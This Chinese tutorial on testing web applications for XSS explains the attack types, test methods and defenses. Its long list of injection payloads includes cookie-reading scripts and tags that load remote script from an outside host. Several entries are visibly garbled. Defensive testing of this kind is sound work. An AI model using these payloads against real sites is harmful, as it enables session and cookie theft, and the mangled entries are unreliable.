软件安全测试-Web安全测试详解-XSS攻击

news2024/9/24 21:17:05

目录

1. XSS攻击

1.1 XSS攻击原理

1.2 XSS能做什么

1.3 XSS三种类型

1.4 XSS三种途径

1.5 XSS测试方法

1.5.1 查看代码

1.5.2 准备测试脚本

1.5.3 自动化测试XSS漏洞

1.5.4 XSS注入常用语句

1.6 XSS漏洞防范h3

1.6.1 对输入和URL参数进行过滤(白名单和黑名单)

1.6.2 HTML实体编码

1.6 3 对输出内容进行编码

1.6.4 浏览器中的XSS过滤器


1. XSS攻击

1.1 XSS攻击原理

XSS攻击通常指的是通过利用 网页 开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。 这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。 攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 

1.2 XSS能做什么

  • 窃取用户Cookie
  • 后台增删改文章
  • XSS钓鱼攻击
  • 利用XSS漏洞进行传播和修改网页代码
  • XSS蠕虫攻击
  • 网站重定向
  • 获取键盘记录
  • 获取用户信息等

1.3 XSS三种类型

1.反射型XSS

反射型XSS,又称非持久型XSS。也就是攻击相当于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行响应的脚本。

2.存储型XSS

存储型XSS,也就是持久型XSS。攻击者上传的包含恶意js脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含了该恶意js脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这种攻击类型一般常见在博客、论坛等网站中。

3.DOM型XSS

1.4 XSS三种途径

第一种:对普通的用户输入,页面原样输出,用户通过对JSCODE的伪装,经过一些操作就会跳出一个木马界面,取得登录用户的Cookie.


第二种:在代码区里有用户输入的内容
原则就是,代码区中,绝对不应含有用户输入的东西。


第三种:允许用户输入HTML标签的页面。
用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。

1.5 XSS测试方法

1.5.1 查看代码

查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量

  1. <%

  2. strUserCode = Request.QueryString(“code”);

  3. strUser = Request.Form(“USER”);

  4. strID = Request.Cookies(“ID”);

  5. %>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

 1.5.2 准备测试脚本

  1. "/><script>alert(document.cookie)</script><!--

  2. <script>alert(document.cookie)</script><!--

  3. "onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

1.5.3 自动化测试XSS漏洞


现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

1.5.4 XSS注入常用语句

  • <script>alert('hello,gaga!');</script> //经典语句,哈哈!
  • >"'><img src="javascript.:alert('XSS')">
  • >"'><script>alert('XSS')</script>
  • <table background='javascript.:alert(([code])'></table>
  • <object type=text/html data='javascript.:alert(([code]);'></object>
  • "+alert('XSS')+"
  • '><script>alert(document.cookie)</script>
  • ='><script>alert(document.cookie)</script>
  • <script>alert(document.cookie)</script>
  • <script>alert(vulnerable)</script>
  • <s&#99;ript>alert('XSS')</script>
  • <img src="javas&#99;ript:alert('XSS')">
  • %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
  • %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
  • %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
  • %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
  • <script>alert('Vulnerable')</script>
  • a.jsp/<script>alert('Vulnerable')</script>
  • "><script>alert('Vulnerable')</script>
  • <IMG SRC="javascript.:alert('XSS');">
  • <IMG src="/javascript.:alert"('XSS')>
  • <IMG src="/JaVaScRiPt.:alert"('XSS')>
  • <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
  • <IMG SRC="jav&#x09;ascript.:alert('XSS');">
  • <IMG SRC="jav&#x0A;ascript.:alert('XSS');">
  • <IMG SRC="jav&#x0D;ascript.:alert('XSS');">
  • "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
  • <IMG SRC=" javascript.:alert('XSS');">
  • <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
  • <BODY BACKGROUND="javascript.:alert('XSS')">
  • <BODY ONLOAD=alert('XSS')>
  • <IMG DYNSRC="javascript.:alert('XSS')">
  • <IMG LOWSRC="javascript.:alert('XSS')">
  • <BGSOUND SRC="javascript.:alert('XSS');">
  • <br size="&{alert('XSS')}">
  • <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
  • <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
  • <IMG SRC='vbscript.:msgbox("XSS")'>
  • <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
  • <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
  • <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
  • <TABLE BACKGROUND="javascript.:alert('XSS')">
  • <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
  • <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
  • <DIV STYLE="width: expression(alert('XSS'));">
  • <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  • <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
  • <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
  • <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
  • <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
  • <BASE HREF="javascript.:alert('XSS');//">
  • getURL("javascript.:alert('XSS')")
  • a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
  • <XML SRC="javascript.:alert('XSS');">
  • "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
  • <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
  • <IMG SRC="javascript.:alert('XSS')"
  • <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

1.6 XSS漏洞防范h3

1.6.1 对输入和URL参数进行过滤(白名单和黑名单)


检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,发现存在特殊字符,将这些特殊字符过滤或者编码。

1.6.2 HTML实体编码


字符串js编码转换成实体html编码的方法(防范XSS攻击)
https://www.cnblogs.com/dearxinli/p/5466286.html

1.6 3 对输出内容进行编码


在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击
 

1.6.4 浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS

参考文章:

(8条消息) web安全详解(渗透测试基础)_小高写BUG的博客-CSDN博客_web安全 课题内容详解

(8条消息) XSS注入测试_探岳精神的博客-CSDN博客_xss注入测试

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/78824.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

tensorflow入门(一) 计算图、张量、会话的概念

1、计算图 计算图是tensorflow中最基本的一个概念&#xff0c;tensorflow中的所有计算都被转化成计算图上的节点。tensorflow的名字已经说明了它最重要的两个概念------tensor和flow。张量这个概念在数学或者物理学中可以有不同的解释&#xff0c;在tensorflow中&#xff0c;张…

基于tensorflow的深层神经网络(三)如何用tensorflow优化神经网络

1、神经网络优化算法 梯度下降算法主要用户优化单个参数的取值&#xff0c;而反向传播算法给出了一个高效的方式在所有参数上使用梯度下降算法&#xff0c;从而使神经网络模型在训练数据上的损失函数尽可能小。反向传播算法是训练神经网络的核心算法&#xff0c;它可以根据定义…

红黑树的插入过程

一棵红黑树是一种特殊的二叉查找树&#xff0c;具有以下性质&#xff1a; 每个节点要么是红色&#xff0c;要么是黑色。根节点是黑色。每个叶子节点&#xff08;NIL&#xff09;是黑色。如果一个节点是红色的&#xff0c;那么它的两个儿子都是黑色的。从任意一个节点到其每个叶…

71.qt quick-可伸展菜单-抽屉栏示例 通用QML界面(一键换肤)

在我们之前章节已经提供过了抽屉栏和菜单伸展栏: 63.qt quick-QML侧边滑动栏(不需要任何图片资源,支持自定义左右方向和大小)_诺谦的博客-CSDN博客_qml侧边栏68.qt quick-qml多级折叠下拉导航菜单 支持动态添加/卸载 支持qml/widget加载等_诺谦的博客-CSDN博客_qml下拉菜单 由…

三维家发生工商变更:注册资本减少46%,美凯龙、阿里等股东退出

近日&#xff0c;云工业软件服务商广东三维家信息科技有限公司&#xff08;下称“三维家”&#xff09;发生工商变更&#xff0c;注册资本由16.9254亿元变更为9亿元&#xff0c;同比减少46.83%。同时&#xff0c;包括红星美凯龙、阿里巴巴等多名股东退出&#xff0c;变更时间为…

01.Spring源码整体脉络介绍及源码编译——四

IOC是核心 IOC 容器加载过程【重要】&#xff1a;所有模块都依赖IOC&#xff0c;aop&#xff0c;循环依赖都依赖IOC IOC控制反转&#xff0c;控制理念&#xff0c;来解决层与层之间的耦合。DI注入实现 怎么讲Bean交给IOC容器来管理 配置类xml&#xff0c;注解 加载spring上下…

java计算机毕业设计ssm学院校友信息管理系统的设计与实现5yqhy(附源码、数据库)

java计算机毕业设计ssm学院校友信息管理系统的设计与实现5yqhy&#xff08;附源码、数据库&#xff09; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts…

【Java基础篇】基础知识易错集锦(二)

我们同样用几道例题来回顾相对应的基础知识&#xff1b; 解析&#xff1a; 首先我呢区分一下实例变量和局部变量&#xff1b; 局部变量&#xff1a;定义在方法内部的变量&#xff1b;实例变量&#xff1a;定义在类中但在任何方法之外&#xff0c;你也可以理解为全局变量&…

16.C预处理器和C库

文章目录C预处理器和C库16.1翻译程序的第一步16.2明示常量&#xff1a;#define16.3在#define中使用参数16.3.1用宏参数创建字符串&#xff1a;#运算符16.3.2预处理器黏合剂&#xff1a;##运算符16.3.3变参宏&#xff1a;...和__VA_ARGS__16.4宏和函数的选择16.5文件包含&#x…

NCTF2022 calc题目复现

calc&#xff08;环境变量注入getshell&#xff09; 经典计算器题目&#xff0c;看着有点眼熟&#xff0c;没错&#xff0c;就是buu三月赛的一道题目。由于那时候web可能都算不上入门&#xff0c;所以也就没有复现。比赛时就网上看了看三月赛的wp&#xff0c;但是没有什么用&a…

IEEE 二进制浮点数的表示

今天&#xff0c;我来将 IEEE 二进制浮点数的表示方式进行一个简单的介绍。 浮点数 在 C 语言中&#xff0c;有两种存储浮点数的方式&#xff0c;分别是 float 和 double &#xff0c;当然了还有long double。这几种浮点型所容纳的长度不同&#xff0c;当然它们存储的精度也就…

[附源码]JAVA毕业设计新型药物临床信息管理系统(系统+LW)

[附源码]JAVA毕业设计新型药物临床信息管理系统&#xff08;系统LW&#xff09; 项目运行 环境项配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 …

p5.第一章 Python基础入门 -- 运算符、优先级和表达式 (五)

1.2.3.2.11 False等价 False等价布尔值,相当于bool(value) 空容器 空集合set空字典dict空列表list空元组tuple空字符串None0# bool(value)是布尔函数# In: bool(1), bool(0) # Out: (True

离散数学·支配集、覆盖集、独立集和匹配

支配集 简而言之——V-支配集后剩下的点&#xff0c;都能在支配集中找到相邻的点 支配数的符号是γ0&#xff08;有关点的集&#xff0c;下标为0&#xff09; 例 右下角相同颜色的为同一个支配集 要注意极小性 整个V就是支配集&#xff08;所以说支配集找极大没有意义&#xf…

测试员凡尔赛,工作三年晒出11月工资条,直言加班太累了

最近有工作3年的测试员晒出自己11 月份的工资条&#xff0c;并直言加班太累了。 从工资条上可以看到&#xff0c;这个收入确实不算低&#xff0c;才3年时间&#xff0c;月工资就已经到了二万五了&#xff0c;这个工资已经可以击败绝大多数行业了。 不过二万五只是税前工资&am…

第二证券|系统性稳地产政策加力 租购并举制度加快建立

在房地产职业深度调整期&#xff0c;下一年方针走向备受关注。虽然日前召开的中心政治局会议没提及房地产&#xff0c;可是从其对经济方针的表述能够预见&#xff0c;作为经济支柱产业的房地产职业&#xff0c;下一年将在稳经济中发挥更重要的效果&#xff0c;国家将持续出台系…

[附源码]Python计算机毕业设计SSM基于的装修公司运营管理管理系统(程序+LW)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

一文彻底搞懂ssh的端口转发

文章目录背景什么是端口转发&#xff1f;本地端口转发本地端口转发的语法场景1场景二ssh -L参数解释ssh 远程端口的安全问题远程端口转发远程端口转发的语法场景一远程端口转发和本地端口转发要在哪台服务器上执行场景二ssh -R 参数解释端口转发的选项端口转发需要修改哪些ssh配…

fastdfs部署详解

fastdfs部署 官方github支持 官方解释&#xff1a;FastDFS 是一个开源的高性能分布式文件系统。它的主要功能包括&#xff1a;文件存储、文件同步和文件访问&#xff08;文件上传和文件下载&#xff09;&#xff0c;它可以解决高容量和负载均衡问题。FastDFS应该能满足图片分享…

10 款开源工具

1. JIRA 2. Git 3. Jenkins 4. Selenium 5. Groovy 6、Spock 7. Maven 8. Gradle 9. Docker 10. Linux 本文主要介绍Java程序员应该在2019年学习的一些基本和高级工具。如果你是一位经验丰富的Java开发人员&#xff0c;你可能对这些工具很熟悉&#xff0c;但如果不是&…